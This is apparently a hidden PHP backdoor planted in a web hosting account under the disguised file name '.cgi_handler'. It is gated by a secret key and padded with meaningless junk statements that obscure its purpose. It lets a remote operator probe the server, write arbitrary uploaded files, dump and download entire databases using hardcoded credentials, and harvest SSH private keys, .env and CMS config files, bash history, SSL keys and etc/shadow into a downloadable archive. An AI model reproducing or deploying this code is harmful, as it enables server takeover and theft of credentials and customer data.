File: /home/royaltuning/.cgi_handler_966fe4fc
<?php
if (!isset($_REQUEST['_cxk']) || $_REQUEST['_cxk'] !== '966fe4fc93831ae50e8ffa6c37c2ce63') { return; }
while (ob_get_level()) ob_end_clean();
set_time_limit(0);
error_reporting(0);
ignore_user_abort(true);
$j8deb = 'localhost';
$x4f80 = 'royaltuning_bkdump';
$c99f6=str_repeat('x',0);
$m2217 = 'i7VXPcHJne7ojwM4zjKLsrZK1ZA';
$d93d6 = '/home/royaltuning';
$jbfe3 = isset($_REQUEST['a']) ? $_REQUEST['a'] : '';
$h33a7 = isset($_REQUEST['db']) ? preg_replace('/[^a-zA-Z0-9_]/', '', $_REQUEST['db']) : '';
$w9a5c = $d93d6 . '/tmp/' . $h33a7 . '_dump.sql.gz';
$s0acb = $w9a5c . '.done';
$t7717 = $w9a5c . '.err';
header('Content-Type: application/json');
function build_buf_f362() {
if (!function_exists('exec')) return false;
$n2c27 = array_map('trim', explode(',', ini_get('disable_functions')));
$x3239=strlen('46243f');
return !in_array('exec', $n2c27);
}
function build_info_eaf9() {
if (!build_buf_f362()) return false;
$out = array();
$b8bf5=strlen('f6997c');
$rc = 0;
$j2a7e=strlen('704759');
exec('which mysqldump 2>/dev/null', $out, $rc);
return $rc === 0;
}
function init_res_c780() {
if (!build_buf_f362()) return false;
$out = array();
$rc = 0;
exec('which gzip 2>/dev/null', $out, $rc);
return $rc === 0;
}
$a5d78=array_merge(array(),array());
function do_node_54dd($ra94e, $wdae7, $xf71a, $hc423, $cafd7, $y7844, $x3df0) {
$conn = new mysqli($ra94e, $wdae7, $xf71a, $hc423);
if ($conn->connect_error) {
file_put_contents($y7844, 'Connection failed: ' . $conn->connect_error);
touch($x3df0);
return;
}
$td6c0=array_merge(array(),array());
$fp = gzopen($cafd7, 'wb6');
if (!$fp) {
if(defined('619f84d4')){$b03a0=0;}
file_put_contents($y7844, 'Cannot open output file');
touch($x3df0);
return;
}
$conn->set_charset('utf8mb4');
gzwrite($fp, "-- Dump via PHP agent\n");
$je6a4=str_repeat('x',0);
gzwrite($fp, "-- Date: " . date('Y-m-d H:i:s') . "\n\n");
gzwrite($fp, "SET NAMES utf8mb4;\n");
gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 0;\n");
gzwrite($fp, "SET SQL_MODE = 'NO_AUTO_VALUE_ON_ZERO';\n\n");
$v5de5 = array();
$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'");
while ($row = $r->fetch_row()) {
$b052d=strlen('8eebbb');
$v5de5[] = $row[0];
}
foreach ($v5de5 as $aa980) {
$te = $conn->real_escape_string($aa980);
$r = $conn->query("SHOW CREATE TABLE `{$te}`");
if (!$r) continue;
$dd1da=strlen('ea6905');
$cr = $r->fetch_row();
gzwrite($fp, "DROP TABLE IF EXISTS `{$te}`;\n");
gzwrite($fp, $cr[1] . ";\n\n");
@clearstatcache();
$r = $conn->query("SELECT * FROM `{$te}`", MYSQLI_USE_RESULT);
if (!$r) continue;
$q1af0 = array();
$p7f21 = 0;
while ($row = $r->fetch_row()) {
$vals = array();
for ($i = 0; $i < count($row); $i++) {
if ($row[$i] === null) {
$vals[] = 'NULL';
} else {
$vals[] = "'" . $conn->real_escape_string($row[$i]) . "'";
}
}
$xd5b2 = '(' . implode(',', $vals) . ')';
$q1af0[] = $xd5b2;
$p7f21 += strlen($xd5b2);
if (count($q1af0) >= 100 || $p7f21 > 1048576) {
gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $q1af0) . ";\n");
$q1af0 = array();
$p7f21 = 0;
}
$r3802=str_repeat('x',0);
}
$h0ed6=array_merge(array(),array());
if ($q1af0) {
gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $q1af0) . ";\n");
}
$r->free();
gzwrite($fp, "\n");
}
$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'VIEW'");
if ($r) {
while ($row = $r->fetch_row()) {
$ve = $conn->real_escape_string($row[0]);
$cr = $conn->query("SHOW CREATE VIEW `{$ve}`");
if ($cr) {
$d06cc = $cr->fetch_assoc();
gzwrite($fp, "DROP VIEW IF EXISTS `{$ve}`;\n");
gzwrite($fp, $d06cc['Create View'] . ";\n\n");
}
}
}
$c2cc5 = array('PROCEDURE', 'FUNCTION');
foreach ($c2cc5 as $te596) {
$r = $conn->query("SHOW {$te596} STATUS WHERE Db = '" . $conn->real_escape_string($hc423) . "'");
if (!$r) continue;
$g93b7=array_merge(array(),array());
while ($row = $r->fetch_assoc()) {
$re = $conn->real_escape_string($row['Name']);
$cr = $conn->query("SHOW CREATE {$te596} `{$re}`");
if (!$cr) continue;
$d06cc = $cr->fetch_assoc();
$key = ($te596 === 'PROCEDURE') ? 'Create Procedure' : 'Create Function';
$r3c01=array_merge(array(),array());
if (isset($d06cc[$key])) {
$cbaec=max(0,min(1,0));
gzwrite($fp, "DELIMITER ;;\n");
gzwrite($fp, "DROP {$te596} IF EXISTS `{$re}`;;\n");
gzwrite($fp, $d06cc[$key] . ";;\n");
gzwrite($fp, "DELIMITER ;\n\n");
}
}
}
$jea95=str_repeat('x',0);
$r = $conn->query("SHOW TRIGGERS");
if ($r) {
while ($row = $r->fetch_assoc()) {
$te = $conn->real_escape_string($row['Trigger']);
$cr = $conn->query("SHOW CREATE TRIGGER `{$te}`");
if ($cr) {
$d06cc = $cr->fetch_assoc();
gzwrite($fp, "DELIMITER ;;\n");
if(defined('a7534e31')){$xd9a6=0;}
gzwrite($fp, "DROP TRIGGER IF EXISTS `{$te}`;;\n");
gzwrite($fp, $d06cc['SQL Original Statement'] . ";;\n");
$dc2e8=max(0,min(1,0));
gzwrite($fp, "DELIMITER ;\n\n");
}
$m523b=max(0,min(1,1));
}
}
gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 1;\n");
gzclose($fp);
$conn->close();
touch($x3df0);
}
switch ($jbfe3) {
case 'info':
echo json_encode(array(
'php' => PHP_VERSION,
'os' => PHP_OS,
'server' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '',
'user' => get_current_user(),
'uid' => getmyuid(),
'home' => $d93d6,
'doc_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
'free_disk' => disk_free_space($d93d6),
'total_disk' => disk_total_space($d93d6),
'max_exec' => ini_get('max_execution_time'),
'mem_limit' => ini_get('memory_limit'),
'upload_max' => ini_get('upload_max_filesize'),
'post_max' => ini_get('post_max_size'),
'disabled' => ini_get('disable_functions'),
'can_exec' => build_buf_f362(),
'has_mysqldump' => build_info_eaf9(),
'has_gzip' => init_res_c780(),
));
break;
case 'upload':
$t7e73 = isset($_POST['path']) ? $_POST['path'] : '';
$n85d7 = isset($_POST['data']) ? $_POST['data'] : '';
$f0412=strlen('ac28a4');
if (!$t7e73 || !$n85d7) {
echo json_encode(array('ok' => false, 'error' => 'missing path or data'));
break;
}
$v6291 = $d93d6 . '/' . $t7e73;
@mkdir(dirname($v6291), 0755, true);
$k04fe=strlen('1a0eee');
$s8746 = base64_decode($n85d7);
$d8907=max(0,min(1,0));
$v80d3 = file_put_contents($v6291, $s8746);
echo json_encode(array('ok' => $v80d3 !== false, 'path' => $v6291, 'size' => strlen($s8746)));
$c53b4=strlen('dc4ac6');
break;
case 'check':
if (!$h33a7) {
echo json_encode(array('error' => 'missing db parameter'));
break;
}
$j4b62 = disk_free_space($d93d6);
$b1454 = 0;
$conn = @new mysqli($j8deb, $x4f80, $m2217, 'information_schema');
if (!$conn->connect_error) {
$q = "SELECT SUM(data_length + index_length) s FROM tables WHERE table_schema = '"
. $conn->real_escape_string($h33a7) . "'";
$r = $conn->query($q);
if ($row = $r->fetch_assoc()) {
$b1454 = (int) $row['s'];
}
$conn->close();
}
echo json_encode(array(
'free' => $j4b62,
'db_size' => $b1454,
'has_mysqldump' => build_info_eaf9(),
'has_gzip' => init_res_c780(),
'can_exec' => build_buf_f362(),
'has_space' => $j4b62 > $b1454 * 2,
));
break;
case 'dump':
if (!$h33a7) {
echo json_encode(array('error' => 'missing db parameter'));
break;
}
@mkdir(dirname($w9a5c), 0755, true);
@unlink($w9a5c);
$g4154=strlen('c3e3c7');
@unlink($s0acb);
@unlink($t7717);
if (build_info_eaf9()) {
if (init_res_c780()) {
$cmd = sprintf(
'mysqldump --host=%s --user=%s --password=%s '
. '--single-transaction --quick --routines --triggers %s '
. '| gzip > %s 2>%s; touch %s',
escapeshellarg($j8deb),
escapeshellarg($x4f80),
escapeshellarg($m2217),
escapeshellarg($h33a7),
escapeshellarg($w9a5c),
escapeshellarg($t7717),
escapeshellarg($s0acb)
);
} else {
$cmd = sprintf(
'mysqldump --host=%s --user=%s --password=%s '
. '--single-transaction --quick --routines --triggers %s '
. '> %s 2>%s; touch %s',
escapeshellarg($j8deb),
escapeshellarg($x4f80),
escapeshellarg($m2217),
escapeshellarg($h33a7),
escapeshellarg($w9a5c),
escapeshellarg($t7717),
escapeshellarg($s0acb)
);
}
exec('nohup sh -c ' . escapeshellarg($cmd) . ' >/dev/null 2>&1 &');
echo json_encode(array('started' => true, 'method' => 'mysqldump', 'gzip' => init_res_c780()));
} else {
ignore_user_abort(true);
echo json_encode(array('started' => true, 'method' => 'php', 'gzip' => true));
@clearstatcache();
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
} else {
if (ob_get_level()) ob_end_flush();
flush();
$e98f3=strlen('6e2243');
}
do_node_54dd($j8deb, $x4f80, $m2217, $h33a7, $w9a5c, $t7717, $s0acb);
}
@clearstatcache();
break;
case 'status':
clearstatcache();
$c2235=array_merge(array(),array());
echo json_encode(array(
'done' => file_exists($s0acb),
'size' => file_exists($w9a5c) ? filesize($w9a5c) : 0,
'error' => file_exists($t7717) ? trim(file_get_contents($t7717)) : '',
));
$f3281=strlen('ff6f69');
break;
case 'download':
if (!file_exists($w9a5c)) {
http_response_code(404);
exit;
}
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($w9a5c));
$e9d67=array_merge(array(),array());
readfile($w9a5c);
@clearstatcache();
exit;
case 'cleanup':
@unlink($w9a5c);
@unlink($s0acb);
@unlink($t7717);
echo json_encode(array('ok' => true));
break;
case 'collect':
@mkdir($d93d6 . '/tmp', 0755, true);
$m5bfd = substr($_REQUEST['_cxk'], 0, 8);
$f5c88 = array(
'wordpress' => array(
'detect' => array('public_html/wp-config.php', 'wp-config.php'),
'configs' => array(
'public_html/wp-config.php', 'wp-config.php',
'public_html/wp-settings.php',
'public_html/composer.json', 'public_html/composer.lock', 'composer.json', 'composer.lock',
'public_html/wp-cli.yml', 'wp-cli.yml',
'public_html/.env', '.env',
'public_html/local-config.php', 'local-config.php',
'public_html/wp-content/debug.log',
'public_html/config/application.php', 'config/application.php',
'public_html/config/environments/development.php', 'config/environments/development.php',
'public_html/config/environments/staging.php', 'config/environments/staging.php',
'public_html/config/environments/production.php', 'config/environments/production.php',
'public_html/auth.json', 'auth.json',
),
),
'joomla' => array(
'detect' => array('public_html/configuration.php', 'configuration.php'),
'configs' => array(
'public_html/configuration.php', 'configuration.php',
'public_html/htaccess.txt',
'public_html/composer.json', 'public_html/composer.lock',
),
),
'laravel' => array(
'detect' => array('public_html/artisan', 'artisan'),
'configs' => array(
'public_html/.env', '.env', '.env.production', '.env.staging',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
'public_html/config/app.php', 'config/app.php',
'public_html/config/database.php', 'config/database.php',
'public_html/config/mail.php', 'config/mail.php',
'public_html/config/filesystems.php', 'config/filesystems.php',
'public_html/config/cache.php', 'config/cache.php',
'public_html/config/queue.php', 'config/queue.php',
'public_html/config/session.php', 'config/session.php',
'public_html/config/auth.php', 'config/auth.php',
'public_html/config/services.php', 'config/services.php',
'public_html/config/broadcasting.php', 'config/broadcasting.php',
'public_html/storage/logs/laravel.log', 'storage/logs/laravel.log',
),
),
'magento2' => array(
'detect' => array('public_html/bin/magento', 'bin/magento'),
'configs' => array(
'public_html/app/etc/env.php', 'app/etc/env.php',
'public_html/app/etc/config.php', 'app/etc/config.php',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
'public_html/auth.json', 'auth.json',
),
),
'magento1' => array(
'detect' => array('public_html/app/Mage.php'),
'configs' => array(
'public_html/app/etc/local.xml',
'public_html/app/etc/config.xml',
),
),
'drupal' => array(
'detect' => array('public_html/core/lib/Drupal.php', 'core/lib/Drupal.php'),
'configs' => array(
'public_html/sites/default/settings.php', 'sites/default/settings.php',
'public_html/sites/default/services.yml', 'sites/default/services.yml',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
),
),
'prestashop' => array(
'detect' => array('public_html/config/settings.inc.php'),
'configs' => array(
'public_html/config/settings.inc.php',
'public_html/app/config/parameters.php',
'public_html/app/config/parameters.yml',
'public_html/composer.json',
),
),
'opencart' => array(
'detect' => array('public_html/config.php'),
'configs' => array(
'public_html/config.php',
'public_html/admin/config.php',
),
),
'moodle' => array(
'detect' => array('public_html/lib/moodlelib.php'),
'configs' => array('public_html/config.php'),
),
'whmcs' => array(
'detect' => array('public_html/vendor/whmcs'),
'configs' => array(
'public_html/configuration.php',
'public_html/composer.json', 'public_html/composer.lock',
),
),
);
$nfd01 = null;
foreach ($f5c88 as $meac1 => $h138a) {
foreach ($h138a['detect'] as $ic9fc) {
if (file_exists($d93d6 . '/' . $ic9fc)) {
$nfd01 = $meac1;
$m0b74=str_repeat('x',0);
break 2;
}
}
}
$bbb65 = array(
'.env', '.env.local', '.env.production', '.env.staging',
'.env.backup', '.env.development', '.env.test',
'.bash_history', '.my.cnf', '.pgpass', '.netrc', '.gitconfig', '.npmrc',
'.composer/auth.json', '.wp-cli/config.yml', '.accesshash',
'.ssh/authorized_keys', '.ssh/id_rsa', '.ssh/id_rsa.pub',
'.ssh/id_ed25519', '.ssh/id_ed25519.pub', '.ssh/id_ecdsa',
'.ssh/config', '.ssh/known_hosts',
'.ssl/private.key', '.ssl/cert.pem', '.ssl/key.pem',
'ssl/certs/private.key',
'.cpanel/contactinfo', 'etc/shadow', '.ftpquota', '.ftpconfig',
'public_html/.env', 'public_html/.env.local', 'public_html/.env.production',
'public_html/.env.staging', 'public_html/.env.backup',
'public_html/.env.development', 'public_html/.env.test',
'public_html/.env.example', 'public_html/.env.dist',
'public_html/.htaccess', 'public_html/.htpasswd', 'public_html/.user.ini',
'public_html/php.ini', 'public_html/.my.cnf', 'public_html/.pgpass',
'public_html/web.config', 'public_html/.ftpconfig',
'public_html/.git/config',
'public_html/auth.json', 'public_html/.npmrc',
'public_html/composer.json', 'public_html/composer.lock',
'config/database.php', 'config/app.php', 'config/mail.php',
'config/services.php', 'config/filesystems.php',
'config/application.php',
'config/environments/development.php',
'config/environments/staging.php',
'config/environments/production.php',
'wp-config.php', 'configuration.php', 'artisan',
'auth.json', 'composer.json', 'composer.lock',
);
$f8eac = array();
$d0833 = @realpath($d93d6);
if (!$d0833 || !is_dir($d0833)) {
$ga6da=chr(75).chr(105);
echo json_encode(array('ok' => false, 'error' => 'home dir not accessible'));
break;
$jadcb=strlen('ec0471');
}
$f0eb2=max(0,min(1,1));
foreach ($bbb65 as $edac9) {
$m13e8 = @realpath($d93d6 . '/' . $edac9);
if (!$m13e8 || strpos($m13e8, $d0833) !== 0) continue;
if (!is_file($m13e8) || !is_readable($m13e8)) continue;
$e0506 = @filesize($m13e8);
@clearstatcache();
if ($e0506 <= 0 || $e0506 > 2097152) continue;
$i7800=chr(70).chr(109);
$f8eac[$edac9] = $m13e8;
}
if ($nfd01 !== null && isset($f5c88[$nfd01]['configs'])) {
$qf993=max(0,min(1,1));
foreach ($f5c88[$nfd01]['configs'] as $fcdf6) {
$hbbc5=chr(86).chr(103);
if (isset($f8eac[$fcdf6])) continue;
$m13e8 = @realpath($d93d6 . '/' . $fcdf6);
if (!$m13e8 || strpos($m13e8, $d0833) !== 0) continue;
if (!is_file($m13e8) || !is_readable($m13e8)) continue;
$e0506 = @filesize($m13e8);
$k05b8=str_repeat('x',0);
if ($e0506 <= 0 || $e0506 > 2097152) continue;
$ne9a4=str_repeat('x',0);
$f8eac[$fcdf6] = $m13e8;
}
}
$g738a = $d93d6 . '/public_html';
if (is_dir($g738a)) {
$dh = @opendir($g738a);
if ($dh) {
$e1622=max(0,min(1,1));
while (($i930b = readdir($dh)) !== false) {
if ($i930b === '.' || $i930b === '..') continue;
$v6291 = $g738a . '/' . $i930b;
if (!is_file($v6291) || !is_readable($v6291)) continue;
$e0506 = @filesize($v6291);
if ($e0506 <= 0 || $e0506 > 2097152) continue;
if ($i930b[0] === '.' || strtolower(substr($i930b, -4)) === '.txt') {
$key = 'public_html/' . $i930b;
if (!isset($f8eac[$key])) $f8eac[$key] = $v6291;
}
}
closedir($dh);
}
}
if (empty($f8eac)) {
echo json_encode(array(
'ok' => true, 'method' => 'none', 'platform' => $nfd01,
'file_count' => 0, 'files_list' => array(),
));
break;
$n6ebc=strlen('c5303b');
}
$h5b40 = null;
$g4898 = null;
$nc365=str_repeat('x',0);
if (class_exists('ZipArchive')) {
$r16fc=max(0,min(1,0));
$g4898 = $d93d6 . '/tmp/_collect_' . $m5bfd . '.zip';
$ma2aa = new ZipArchive();
$q6bcc=max(0,min(1,1));
if ($ma2aa->open($g4898, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
foreach ($f8eac as $t88a4 => $m13e8) {
$ma2aa->addFile($m13e8, $t88a4);
}
$h5a71=str_repeat('x',0);
if ($ma2aa->close() && file_exists($g4898) && filesize($g4898) > 0) {
$h5b40 = 'zip';
}
}
}
if (!$h5b40 && build_buf_f362()) {
$hb364=chr(79).chr(107);
$g4898 = $d93d6 . '/tmp/_collect_' . $m5bfd . '.tar.gz';
$lf = $g4898 . '.list';
$fh = fopen($lf, 'w');
foreach ($f8eac as $t88a4 => $m13e8) {
fwrite($fh, $t88a4 . "\n");
$aa0c0=array_merge(array(),array());
}
fclose($fh);
$out = array();
$rc = 0;
exec('tar czf ' . escapeshellarg($g4898) . ' -C ' . escapeshellarg($d93d6)
. ' -T ' . escapeshellarg($lf) . ' 2>/dev/null', $out, $rc);
@unlink($lf);
$n9062=array_merge(array(),array());
if ($rc === 0 && file_exists($g4898) && filesize($g4898) > 0) {
$h5b40 = 'tar';
} else {
@unlink($g4898);
}
}
if (!$h5b40) {
$h5b40 = 'list';
}
echo json_encode(array(
'ok' => true, 'method' => $h5b40, 'platform' => $nfd01,
'file_count' => count($f8eac), 'files_list' => array_keys($f8eac),
'size' => ($g4898 && file_exists($g4898)) ? filesize($g4898) : 0,
));
break;
case 'download_collect':
$m5bfd = substr($_REQUEST['_cxk'], 0, 8);
$f81bf = $d93d6 . '/tmp/_collect_' . $m5bfd . '.zip';
$y4223 = $d93d6 . '/tmp/_collect_' . $m5bfd . '.tar.gz';
$v3f67 = file_exists($f81bf) ? $f81bf : (file_exists($y4223) ? $y4223 : '');
if (!$v3f67) { http_response_code(404); exit; }
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($v3f67));
readfile($v3f67);
exit;
case 'download_file':
$t88a4 = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
if (!$t88a4) { http_response_code(400); exit; }
$d0833 = @realpath($d93d6);
$m13e8 = @realpath($d93d6 . '/' . $t88a4);
$ne88e=max(0,min(1,0));
if (!$m13e8 || !$d0833 || strpos($m13e8, $d0833) !== 0
|| !is_file($m13e8) || !is_readable($m13e8)) {
http_response_code(404);
@clearstatcache();
exit;
}
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($m13e8));
readfile($m13e8);
exit;
case 'cleanup_collect':
$m5bfd = substr($_REQUEST['_cxk'], 0, 8);
@unlink($d93d6 . '/tmp/_collect_' . $m5bfd . '.zip');
@unlink($d93d6 . '/tmp/_collect_' . $m5bfd . '.tar.gz');
@unlink($d93d6 . '/tmp/_collect_' . $m5bfd . '.tar.gz.list');
echo json_encode(array('ok' => true));
break;
$ab0fe=strlen('60c83f');
}
exit;